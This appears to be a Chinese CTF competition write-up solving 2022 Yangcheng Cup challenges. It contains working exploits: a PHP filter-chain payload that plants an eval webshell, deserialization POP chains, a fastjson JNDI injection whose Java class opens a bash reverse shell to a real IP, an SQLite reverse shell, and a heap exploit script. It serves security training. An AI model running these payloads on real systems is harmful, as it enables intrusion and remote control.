2022年羊城杯网络安全大赛 WriteUp

admin 2023年5月25日03:27:37评论47 views字数 42583阅读141分56秒阅读模式

队伍名称

TeamGipsy

排名

19名

2022年羊城杯网络安全大赛 WriteUp

解题思路

Web

rce_me

hxp CTF 2021 - The End Of LFI? - 跳跳糖 (tttang.com)

exp:

<?php
$base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4";
$conversions = array(
    'R' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
    'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C' => 'convert.iconv.UTF8.CSISO2022KR',
    '8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    'f' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
    's' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
    'z' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
    'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'P' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
    'V' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
    '0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    'Y' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
    'W' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
    'd' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    '7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    '4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
);

$filters = "convert.base64-encode|";
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
$filters .= "convert.iconv.UTF8.UTF7|";

foreach (str_split(strrev($base64_payload)) as $c) {
    $filters .= $conversions[$c] . "|";
    $filters .= "convert.base64-decode|";
    $filters .= "convert.base64-encode|";
    $filters .= "convert.iconv.UTF8.UTF7|";
}
$filters .= "convert.base64-decode";

$final_payload = "php://filter/{$filters}/resource=data://,aaaaaaaaaaaaaaaaaaaa";
echo ($final_payload);

payload:

?file=php%3A%2F%2Ffilter%2Fconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EUTF8%2EUTF16LE%7Cconvert%2Eiconv%2EUTF8%2ECSISO2022KR%7Cconvert%2Eiconv%2EUCS2%2EEUCTW%7Cconvert%2Eiconv%2EL4%2EUTF8%7Cconvert%2Eiconv%2EIEC%5FP271%2EUCS2%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EUTF8%2ECSISO2022KR%7Cconvert%2Eiconv%2EISO2022KR%2EUTF16%7Cconvert%2Eiconv%2EL7%2ENAPLPS%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EUTF8%2ECSISO2022KR%7Cconvert%2Eiconv%2EISO2022KR%2EUTF16%7Cconvert%2Eiconv%2EUCS%2D2LE%2EUCS%2D2BE%7Cconvert%2Eiconv%2ETCVN%2EUCS2%7Cconvert%2Eiconv%2E857%2ESHIFTJISX0213%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EUTF8%2EUTF16LE%7Cconvert%2Eiconv%2EUTF8%2ECSISO2022KR%7Cconvert%2Eiconv%2EUCS2%2EEUCTW%7Cconvert%2Eiconv%2EL4%2EUTF8%7Cconvert%2Eiconv%2E866%2EUCS2%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EUTF8%2ECSISO2022KR%7Cconvert%2Eiconv%2EISO2022KR%2EUTF16%7Cconvert%2Eiconv%2EL3%2ET%2E61%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EUTF8%2EUTF16LE%7Cconvert%2Eiconv%2EUTF8%2ECSISO2022KR%7Cconvert%2Eiconv%2EUCS2%2EUTF8%7Cconvert%2Eiconv%2ESJIS%2EGBK%7Cconvert%2Eiconv%2EL10%2EUCS2%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EUTF8%2EUTF16LE%7Cconvert%2Eiconv%2EUTF8%2ECSISO2022KR%7Cconvert%2Eiconv%2EUCS2%2EUTF8%7Cconvert%2Eiconv%2EISO%2DIR%2D111%2EUCS2%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EUTF8%2EUTF16LE%7Cconvert%2Eiconv%2EUTF8%2ECSISO2022KR%7Cconvert%2Eiconv%2EUCS2%2EUTF8%7Cconvert%2Eiconv%2EISO%2DIR%2D111%2EUJIS%7Cconvert%2Eiconv%2E852%2EUCS2%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EUTF8%2EUTF16LE%7Cconvert%2Eiconv%2EUTF8%2ECSISO2022KR%7Cconvert%2Eiconv%2EUTF16%2EEUCTW%7Cconvert%2Eiconv%2ECP1256%2EUCS2%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EUTF8%2ECSISO2022KR%7Cconvert%2Eiconv%2EISO2022KR%2EUTF16%7Cconvert%2Eiconv%2EL7%2ENAPLPS%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EUTF8%2EUTF16LE%7Cconvert%2Eiconv%2EUTF8%2ECSISO2022KR%7Cconvert%2Eiconv%2EUCS2%2EUTF8%7Cconvert%2Eiconv%2E851%2EUTF8%7Cconvert%2Eiconv%2EL7%2EUCS2%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EUTF8%2ECSISO2022KR%7Cconvert%2Eiconv%2EISO2022KR%2EUTF16%7Cconvert%2Eiconv%2ECP1133%2EIBM932%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EUTF8%2ECSISO2022KR%7Cconvert%2Eiconv%2EISO2022KR%2EUTF16%7Cconvert%2Eiconv%2EUCS%2D2LE%2EUCS%2D2BE%7Cconvert%2Eiconv%2ETCVN%2EUCS2%7Cconvert%2Eiconv%2E851%2EBIG5%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EUTF8%2ECSISO2022KR%7Cconvert%2Eiconv%2EISO2022KR%2EUTF16%7Cconvert%2Eiconv%2EUCS%2D2LE%2EUCS%2D2BE%7Cconvert%2Eiconv%2ETCVN%2EUCS2%7Cconvert%2Eiconv%2E1046%2EUCS2%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EUTF8%2EUTF16LE%7Cconvert%2Eiconv%2EUTF8%2ECSISO2022KR%7Cconvert%2Eiconv%2EUTF16%2EEUCTW%7Cconvert%2Eiconv%2EMAC%2EUCS2%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EUTF8%2ECSISO2022KR%7Cconvert%2Eiconv%2EISO2022KR%2EUTF16%7Cconvert%2Eiconv%2EL7%2ESHIFTJISX0213%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EUTF8%2EUTF16LE%7Cconvert%2Eiconv%2EUTF8%2ECSISO2022KR%7Cconvert%2Eiconv%2EUTF16%2EEUCTW%7Cconvert%2Eiconv%2EMAC%2EUCS2%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EUTF8%2ECSISO2022KR%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EUTF8%2EUTF16LE%7Cconvert%2Eiconv%2EUTF8%2ECSISO2022KR%7Cconvert%2Eiconv%2EUCS2%2EUTF8%7Cconvert%2Eiconv%2EISO%2DIR%2D111%2EUCS2%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EUTF8%2ECSISO2022KR%7Cconvert%2Eiconv%2EISO2022KR%2EUTF16%7Cconvert%2Eiconv%2EISO6937%2EJOHAB%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EUTF8%2ECSISO2022KR%7Cconvert%2Eiconv%2EISO2022KR%2EUTF16%7Cconvert%2Eiconv%2EL6%2EUCS2%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EUTF8%2EUTF16LE%7Cconvert%2Eiconv%2EUTF8%2ECSISO2022KR%7Cconvert%2Eiconv%2EUCS2%2EUTF8%7Cconvert%2Eiconv%2ESJIS%2EGBK%7Cconvert%2Eiconv%2EL10%2EUCS2%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Eiconv%2EUTF8%2ECSISO2022KR%7Cconvert%2Eiconv%2EISO2022KR%2EUTF16%7Cconvert%2Eiconv%2EUCS%2D2LE%2EUCS%2D2BE%7Cconvert%2Eiconv%2ETCVN%2EUCS2%7Cconvert%2Eiconv%2E857%2ESHIFTJISX0213%7Cconvert%2Ebase64%2Ddecode%7Cconvert%2Ebase64%2Dencode%7Cconvert%2Eiconv%2EUTF8%2EUTF7%7Cconvert%2Ebase64%2Ddecode%2Fresource%3D/etc/passwd&0=echo '%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%63%6d%64%27%5d%29%3b%3f%3e' %3e a.php

蚁剑连a.php,然后就是suid提权,直接date提权就好了

step_by_step-v3

源码:

<?php
error_reporting(0);
class yang
{
    public $y1;

    public function __construct()
    
{
        $this->y1->magic();
        echo 1;
    }

    public function __tostring()
    
{
        ($this->y1)();
    }

    public function hint()
    
{
        include_once('hint.php');
        if(isset($_GET['file']))
        {
            $file = $_GET['file'];
            if(preg_match("/$hey_mean_then/is", $file))
            {
                die("nonono");
            }
            include_once($file);
        }
    }
}

class cheng
{
    public $c1;

    public function __wakeup()
    
{
        $this->c1->flag = 'flag';
    }

    public function __invoke()
    
{
        $this->c1->hint();
    }
}

class bei
{
    public $b1;
    public $b2;

    public function __set($k1,$k2)
    
{
        print $this->b1;
    }

    public function __call($n1,$n2)
    
{
        echo $this->b1;
    }
}

unserialize('');

?>

反序列化poc:

<?php

class yang
{
    public $y1;
    public function __construct()
    
{
        // $this->y1 = new bei();
    }
    
}

class cheng
{
    public $c1;
    public function __construct()
    
{
        
    }
    
}

class bei
{
    public $b1;
    public $b2;

    public function __construct()
    
{
        // $this->b2 = new yang();
        
    }
}

$a = new yang();
$b = new cheng();
$c = new bei();

$b->c1 = $c;
$c->b1 = $a;
$a->y1 = "phpinfo";

echo serialize($b);

?>

flag在phpinfo里

2022年羊城杯网络安全大赛 WriteUp
img

Safepop

源码:

<?php
class Fun{
    private $func = 'call_user_func_array';
    public function __call($f,$p){
        call_user_func($this->func,$f,$p);
    }
    public function __wakeup(){
        $this->func = '';
        die("Don't serialize me");
    }
}

class Test{
    public function getFlag(){
        system("cat /flag?");
    }
    public function __call($f,$p){
        phpinfo();
    }
    public function __wakeup(){
        echo "serialize me?";
    }
}

class A{
    public $a;
    public function __get($p){
        if(preg_match("/Test/",get_class($this->a))){
            return "No test in Prod\n";
        }
        return $this->a->$p();
    }
}

class B{
    public $p;
    public function __destruct(){
        $p = $this->p;
        echo $this->a->$p;
    }
}

unserialize('');

poc:

<?php
class Fun{
    private $func;
    public function __construct()
    
{
        $this->func = 'system';
    }

}

class Test{
    public function __construct()
    
{
        
    }
}

class A{
    public $a;
    public function __construct()
    
{
        
    }
}

class B{
    public $p;
    public function __construct()
    
{
        
    }
}

$a = new A();
$b = new B();
$fun = new Fun();
$test = new Test();
$a->a = $fun;
$b->p = 'cat /f*';
$b->a = $a;
echo urlencode(serialize($b));

flag:

flag{55410055464485123619498041307525}

simple_json

fastjson1.2.83

<dependency>
   <groupId>org.springframework.boot</groupId>
   <artifactId>spring-boot-starter-web</artifactId>
   <exclusions>
    <exclusion>
     <groupId>org.apache.tomcat.embed</groupId>
     <artifactId>tomcat-embed-el</artifactId>
    </exclusion>
   </exclusions>
  </dependency>
<dependency>
   <groupId>com.alibaba</groupId>
   <artifactId>fastjson</artifactId>
   <version>1.2.83</version>
</dependency>

题目给的类似的payload:

{"content" : {"@type""ycb.simple_json.service.JNDIService""target":"ldap://ip:port/Exp"}, "msg":{"$ref":"$.content.context"}}

各种信息搜集之后:

没有ELProcessor的时候:https://tttang.com/archive/1405/#toc_snakeyaml

Yaml反序列化:https://www.yuque.com/jinjinshigekeaigui/qskpi5/rgwdc7#wpl31

由此先创建一个Exp恶意类,用于RCE,还有META-INF/services/javax.script.ScriptEngineFactory 文件,内容为Exp ,然后编译Exp类,生成jar包一起放到vps上

2022年羊城杯网络安全大赛 WriteUp
Untitled

用python开启服务:

python3 -m http.server --bind 0.0.0.0 8888

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class Exp implements ScriptEngineFactory {

    static {
        try {
            System.out.println("Hacked by ameuu");
            Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84Mi4xNTYuMi4xNjYvMjMzMyAwPiYx}|{base64,-d}|{bash,-i}");
        } catch (IOException e){
            e.printStackTrace();
        }
    }

    @Override
    public String getEngineName() {
        return null;
    }

    @Override
    public String getEngineVersion() {
        return null;
    }

    @Override
    public List<String> getExtensions() {
        return null;
    }

    @Override
    public List<String> getMimeTypes() {
        return null;
    }

    @Override
    public List<String> getNames() {
        return null;
    }

    @Override
    public String getLanguageName() {
        return null;
    }

    @Override
    public String getLanguageVersion() {
        return null;
    }

    @Override
    public Object getParameter(String key) {
        return null;
    }

    @Override
    public String getMethodCallSyntax(String obj, String m, String... args) {
        return null;
    }

    @Override
    public String getOutputStatement(String toDisplay) {
        return null;
    }

    @Override
    public String getProgram(String... statements) {
        return null;
    }

    @Override
    public ScriptEngine getScriptEngine() {
        return null;
    }

}

本地开启rmi服务,jar打包,放到vps上执行:

package main;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.Reference;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Main {

    public static ResourceRef tomcat_snakeyaml(){
        ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml"null"""",
                true"org.apache.naming.factory.BeanFactory"null);
        String yaml = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"<http://82.156.2.166:8888/exp.jar\"]]]]">;
        ref.add(new StringRefAddr("forceString""a=load"));
        ref.add(new StringRefAddr("a", yaml));
        return ref;
    }

    public static void main(String[] args) throws Exception {
        int rmi_port = 1559;
        System.setProperty("java.rmi.server.hostname""82.156.2.166");
        Registry registry = LocateRegistry.createRegistry(rmi_port);
        System.out.println(System.getProperty("java.rmi.server.hostname"));

        ResourceRef ref = tomcat_snakeyaml();

        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("Exploit", referenceWrapper);

    }
}

然后传入payload

{"content" : {"@type""ycb.simple_json.service.JNDIService""target":"ldap://82.156.2.166:1559/Exploit"}, "msg":{"$ref":"$.content.context"}}

但是没有成功连上,利用别的师傅写的工具,把yaml函数写入工具之后打包,

java -cp JNDI-Injection-Bypass-1.0-SNAPSHOT-all.jar payloads.EvilRMIServer 82.156.2.166

2022年羊城杯网络安全大赛 WriteUp
Untitled

记得监听端口

最终payload:

{"content" : {"@type""ycb.simple_json.service.JNDIService""target":"rmi://82.156.2.166:1097/ExecBySnakeYaml"}, "msg":{"$ref":"$.content.context"}}

拿到flag

2022年羊城杯网络安全大赛 WriteUp
Untitled

PWN

YCBSQL-v4

是sqlite,sql文件提交之后会直接执行sql语句,那么重点就是要看可以利用的sql语句,测试了一下发现没有回显,而README里面也说要么nc外带或者直接反弹shell

把sqlite放到linux环境下

chmod +x sqlite3

.help 可以发现存在命令执

2022年羊城杯网络安全大赛 WriteUp
Untitled

直接上传sql文件,内容如下:

.system bash -c 'bash -i >& /dev/tcp/vps_ip/1234 0>&1'

成功反弹shell,拿到flag

2022年羊城杯网络安全大赛 WriteUp
img

ez_linklist-v2

unlink的时候可以分配多个node而且free(0xff)的时候没有判断,直接从next指针来再次分配就能形成double free。因为申请的堆块都小于0x80所以这里要先劫持tcachestruct起再次double free泄露libc然后再double free申请到free_hook,然后getshell。

#encoding: utf-8
#!/usr/bin/python
from pwn import*
import sys
#context.log_level = "debug"
context.arch="amd64"
binary_name = "pwn"
libc_name = "libc.so.6"
ld_name = "ld"
local = 1
elf =ELF("./"+binary_name)
libc = ELF("./"+libc_name)
#ld = ELF("./"+ld_name)
se      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
rc      = lambda num            :io.recv(num)
rl      = lambda                    :io.recvline()
ru      = lambda delims             :io.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, b'x00')) 
uu64    = lambda data               :u64(data.ljust(8, b'x00'))
info    = lambda tag, addr          :log.info(tag + " -------------> " + hex(addr))
ia  = lambda                    :io.interactive()
if local==1:
 io = remote("tcp.dasc.buuoj.cn",20158)
else:
 io = process("./"+binary_name)

def debug():
 gdb.attach(io,'''

  '
'')
 pause()
def add(size,content):
 sla("Your choice:","1")
 sla("Size:",str(size))
 sla("Content:",content)
def link(start,end):
 sla("Your choice:","3")
 sla("link from:",str(start))
 sla("link to:",str(end))
def unlink(index,offest):
 sla('Your choice:',"4")
 sla("Index:",str(index))
 sla("Input offset:",str(offest))
def free(index,offest):
 sla("Your choice:","2")
 sla("Index",str(index))
 sla("Input offset:",str(offest))
add(0x70,"aaa")
add(0x70,"bbb")
add(0x70,"ccc")
add(0x70,"ddd")
link(0,1)
link(0,2)
link(0,3)
unlink(0,0)
free(1,0xff)
for i in range(5):
 add(0x70,"xxx")
link(1,2)
link(1,4)
link(1,5)
link(1,3)
free(1,1)
free(1,1)
free(1,2)
sla("Your choice:","4")
sla("Index:","0")
ru("Offset 0:")
heap_addr = uu64(io.recv(6))
info("heap_addr",heap_addr)
#0x55555555b0c0
sla("Input offset:","0")
for i in range(7):
 add(0x70,"sss")
for i in range(9,4,-1):
 free(i,0)
free(1,0xff)
link(2,3)
free(2,1)
free(4,0)
free(2,0)
for i in range(7):
 add(0x70,"xxx")
add(0x70,p64(heap_addr-672+0x50))
link(8,1)
for i in range(2):
 add(0x70,"aaa")
link(2,3)
link(2,4)
link(2,5)
payload = "x07"
payload = payload.ljust(0x70-1,"x00")
add(0x70,payload)
add(0x70,p64(0)*11+p64(0x31))
add(0x70,p64(0)*3+p64(0x61)+p64(0)*5+p64(0x31))
add(0x70,'xxx')
free(4,0)
link(5,9)
free(5,1)
link(7,8)
unlink(7,1)
add(0x70,"aaa")
free(2,0xff)
free(5,0)
free(6,0)
link(8,4)
free(8,1)
free(10,0)
free(8,0)
add(0x70,p64(0)+p64(0x221))
for i in range(6):
 add(0x70,"chen")
info("x",heap_addr+1136) 
add(0x70,p64(heap_addr+1136))
link(11,10)
for i in range(2):
 add(0x70,"xxx")
link(4,5)
link(4,6)
add(0x70,"chen")
link(8,5)
free(8,1)
link(2,1)
free(2,1)
sla("Your choice:","4")
sla("Index:","0")
sleep(0.5)
ru("Offset 1:")
libcbase = uu64(io.recv(6))-2014176
info("libcbase",libcbase)
sla("Input offset:",'0')
free_hook = libcbase+libc.sym['__free_hook']
system_addr = libcbase+libc.sym["system"]
for i in range(2):
 add(0x70,"fff")
free(4,0xff)
sleep(0.5)
free(8,0)
free(9,0)
free(10,0)
free(1,0)
free(7,1)
free(12,0)
free(0,0)
sleep(0.5)
for i in range(7):
 add(0x70,"/bin/shx00")
add(0x70,p64(free_hook))
link(6,0)
sleep(0.1)
for i in range(2):
 add(0x70,"/bin/shx00")
 sleep(0.1)
sleep(0.1)
one=[0xe6c7e,0xe6c81,0xe6c84]
add(0x70,p64(system_addr))
sleep(0.1)
free(1,0xff)
#debug()

ia()

MISC

签个到

rot13+base32

2022年羊城杯网络安全大赛 WriteUp

where_is_secret

维吉尼亚爆破

2022年羊城杯网络安全大赛 WriteUp

压缩包密码就是GWHT@R1nd0yyds

后来给了图片加密的源码

from PIL import Image
import math


def encode(text):
    str_len = len(text)
    width = math.ceil(str_len ** 0.5)
    im = Image.new("RGB", (width, width), 0x0)

    x, y = 00
    for i in text:
        index = ord(i)
        rgb = (0, (index & 0xFF00) >> 8, index & 0xFF)
        im.putpixel((x, y), rgb)
        if x == width - 1:
            x = 0
            y += 1
        else:
            x += 1
    return im


if __name__ == '__main__':
    with open("829962.txt", encoding="gbk"as f:
        all_text = f.read()

        im = encode(all_text)
        im.save("out.bmp")

核心代码就一段

rgb = (0, (index & 0xFF00) >> 8, index & 0xFF)

g通道存储了高位,b通道存储了低位

因为可能是有中文,8位16进制存储不下

exp的话,因为是&0xFF,甚至不用逆,直接拿来用就行

exp

from PIL import Image
import string
f = Image.open('out.bmp')
width, height = f.size
fp = open('1.txt','w')
for i in range(height):
    for k in range(width):
        rgb = f.getpixel((k,i))
        word = hex(rgb[1])[2:].zfill(2)+hex(rgb[2])[2:].zfill(2)
        word = b'\u' + word.encode()
        fp.write(word.decode("unicode_escape"))

打开之后发现,flag穿插在里面,将所有中文去掉之后,发现有一些混淆,如4年,x天之类,手动去除

2022年羊城杯网络安全大赛 WriteUp

最后得到flag

print(ord('('),ord(')'))
a=open('1.txt','r')
k=a.read()
for i in k:
    if ord(i)>=40 and ord(i) <200:
        print(i,end='')
2022年羊城杯网络安全大赛 WriteUp

迷失幻境

2022年羊城杯网络安全大赛 WriteUp

给$RJ3JGVF加上png文件头,就是一张环境照片,跟迷失幻境中的随便一个进行操作,我这里选的是99.png,得到一个key

2022年羊城杯网络安全大赛 WriteUp
2022年羊城杯网络安全大赛 WriteUp

然后尝试了很多种jpg隐写方法,最后使用outguess,得到flag

2022年羊城杯网络安全大赛 WriteUp
2022年羊城杯网络安全大赛 WriteUp

寻宝-Fix

每个位子上的字节进行了翻转

2022年羊城杯网络安全大赛 WriteUp
f = open('xb''rb').read()
data = f.hex()[::-1]
print(data)
fp = open('realxb','wb')
fp.write(bytes.fromhex(data)[::-1])

然后使用CE改命,直接无限命

2022年羊城杯网络安全大赛 WriteUp

flag有三段,第一段是隐藏在背景音乐里面的声调,第二段是前四关地图里面的猪圈密码,第三段是最后16张图的差分曼彻斯特编码

声调一开始听了为336736,先按下不表

猪圈密码为OWOH,这个有两张图,另一张图是不行的,这边采用了以下第二张

2022年羊城杯网络安全大赛 WriteUp

差分曼彻斯特编码,由十字架为时钟分割线,然后手lu

01011111011000010011000101011111

转换网站

2022年羊城杯网络安全大赛 WriteUp

二进制转字符串为_a1_

确定是正确的了,然后开始在

336736_a1_OWOH,OWOH_a1_336736,_a1_336736,336736_a1_NQNL,四种组合开始徘徊

然后确定应该是音阶出问题了,直接爆破好吧archpr   yyds

最后在OWOH_a1_??????组合中爆破出了密码

2022年羊城杯网络安全大赛 WriteUp
2022年羊城杯网络安全大赛 WriteUp

解压之后惯例将txt中的内容,拖进linux中查看,因为可以看出是否有零宽以及确定零宽的类型

2022年羊城杯网络安全大赛 WriteUp

最后选择,注意,这边的选择要跟上面出现的一一对应,不可默认

2022年羊城杯网络安全大赛 WriteUp

得到flag

2022年羊城杯网络安全大赛 WriteUp
GWHT{Wher3_1S_Th4_1gI981O?}

CRYPTO

LRSA

给了P*P*Q,P*Q*Q,gcd()求出P*Q再分别除以它求出P,Q

给了t=(p*P-58*P+q)%Q,已知t,P,Qp,q,其中t=44很小

所以有:

为我们所需的格子

from Crypto.Util.number import *
from gmpy2 import *

B = 1023
P2Q = 17550772391048142376662352375650397168226219900284185133945819378595084615279414529115194246625188015626268312188291451580718399491413731583962229337205180301248556893326419027312533686033888462669675100382278716791450615542537581657011200868911872550652311318486382920999726120813916439522474691195194557657267042628374572411645371485995174777885120394234154274071083542059010253657420242098856699109476857347677270860654429688935924519805555787949683144015873225388396740487817155358042797286990338440987035608851331840925854381286767024584195081004360635842976624747610461507795755042915965483135990495921912997789567020652729777216671481467049291624343256152446367091568361258918212012737611001009003078023715854575413979603297947011959023398306612437250872299406744778763429172689675430968886613391356192380152315042387148665654062576525633130546454743040442444227245763939134967515614637300940642555367668537324892890004459521919887178391559206373513466653484926149453481758790663522317898916616435463486824881406198956479504970446076256447830689197409184703931842169195650953917594642601134810084247402051464584676932882503143409428970896718980446185114397748313655630266379123438583315809104543663538494519415242569480492899140190587129956835218417371308642212037424611690324353109931657289337536406499314388951678319136343913551598851601805737870217800009086551022197432448461112330252097447894028786035069710260561955740514091976513928307284531381150606428802334767412638213776730300093872457594524254858721551285338651364457529927871215183857169772407595348187949014442596356406144157105062291018215254440382214000573515515859668018846789551567310531570458316720877172632139481792680258388798439064221051325274383331521717987420093245521230610073103811158660291643007279940393509663374960353315388446956868294358252276964954745551655711981
PQ2 = 17632503734712698604217167790453868045296303200715867263641257955056721075502316035280716025016839471684329988600978978424661087892466132185482035374940487837109552684763339574491378951189521258328752145077889261805000262141719400516584216130899437363088936913664419705248701787497332582188063869114908628807937049986360525010012039863210179017248132893824655341728382780250878156526086594253092249935304259986328308203344932540888448163430113818706295806406535364433801544858874357459282988110371175948011077595778123265914357153104206808258347815853145593128831233094769191889153762451880396333921190835200889266000562699392602082643298040136498839726733129090381507278582253125509943696419087708429546384313035073010683709744463087794325058122495375333875728593383803489271258323466068830034394348582326189840226236821974979834541554188673335151333713605570214286605391522582123096490317734786072061052604324131559447145448500381240146742679889154145555389449773359530020107821711994953950072547113428811855524572017820861579995449831880269151834230607863568992929328355995768974532894288752369127771516710199600449849031992434777962666440682129817924824151147427747882725858977273856311911431085373396551436319200582072164015150896425482384248479071434032953021738952688256364397405939276917210952583838731888536160866721278250628482428975748118973182256529453045184370543766401320261730361611365906347736001225775255350554164449014831203472238042057456969218316231699556466298168668958678855382462970622819417830000343573014265235688391542452769592096406400900187933156352226983897249981036555748543606676736274049188713348408983072484516372145496924391146241282884948724825393087105077360952770212959517318021248639012476095670769959011548699960423508352158455979906789927951812368185987838359200354730654103428077770839008773864604836807261909
t = 44
